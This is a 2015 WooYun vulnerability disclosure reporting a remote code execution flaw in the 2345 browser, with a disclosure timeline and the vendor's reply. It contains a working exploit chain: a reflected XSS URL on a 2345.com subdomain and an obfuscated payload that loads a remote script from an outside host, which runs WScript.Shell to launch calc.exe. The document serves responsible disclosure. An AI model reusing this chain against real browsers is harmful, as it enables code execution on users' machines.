当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0113636

漏洞标题:2345浏览器设计缺陷可导致远程代码执行

相关厂商:2345网址导航

漏洞作者: 梧桐雨

提交时间:2015-05-12 13:40

修复时间:2015-08-10 17:12

公开时间:2015-08-10 17:12

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-12: 细节已通知厂商并且等待厂商处理中
2015-05-12: 厂商已经确认,细节仅向厂商公开
2015-05-15: 细节向第三方安全合作伙伴开放
2015-07-06: 细节向核心白帽子及相关领域专家公开
2015-07-16: 细节向普通白帽子公开
2015-07-26: 细节向实习白帽子公开
2015-08-10: 细节向公众公开

简要描述:

简单暴力无限制。20rank毫无违和感。

详细说明:

2345 浏览器更新到最新版:

js.jpg


目前的2345浏览器,依旧是允许javascript://伪协议来定义主页神马的,但是这些都不是本文的重点。重点是一个比较严重的设计缺陷导致命令执行。
在之前提交的案例之中,我摸索着怎么去调试一些poc。在我测试2345网络收藏夹的时候,惊讶的发现,我里面的链接居然是可以执行命令的:

213.jpg


也就是说,此处我们并不是传统的2345://,也不是传统的特权域,但是因为Javascript://协议的关系,导致直接调用2345://协议,即本地域,去执行代码,这样一来,危害就很大了。
但是经过详细测试之后,发现并不是所有域都能这么做,模糊测试之后,发现*.2345.com下的xss可以实现这样的功能。
因此我们需要找到.2345.com域的一个xss,这对我们来说并不是什么难事。
http://skin.chrome.2345.com/?a=%3Cimg%20src=1%20onerror=alert(1)%3E
此处xss会被chrome拦截,而2345浏览器默认配置不会拦截:

2345.jpg


特权域有了,知道该怎么做了。
构造缺陷代码:

var f=document.createElement("a");f.href='javascript:WSH=new ActiveXObject("WScript.Shell");WSH.run("calc.exe")';document.body.appendChild(f);f.click();


具体可看:
http://wutongyu.info/alert.js
虽然是a标签点击才能触发,但是我们完全可以通过js的click()函数实现自动触发。
变形之后生成链接:
http://skin.chrome.2345.com/?a=%3Cimg%20src=1%20onerror=eval('window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116));window.s.src=String.fromCharCode(104,116,116,112,58,47,47,119,117,116,111,110,103,121,117,46,105,110,102,111,47,97,108,101,114,116,46,106,115);document.body.appendChild(window.s)')%3E
用最新版2345浏览器访问上述url:

calc.jpg


简单暴力,打完收工。

漏洞证明:

用最新版2345浏览器访问上述url:

calc.jpg

修复方案:

重新考量javascript://协议在你们浏览器中的危害,任意网站调用a href="javascript://"的时候应该在a当前网站打开。
修补此处xss,不过似乎有点治标不治本。

版权声明:转载请注明来源 梧桐雨@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2015-05-12 17:11

厂商回复:

感谢您对2345的关注,此问题会在后续版本中修复

最新状态:

暂无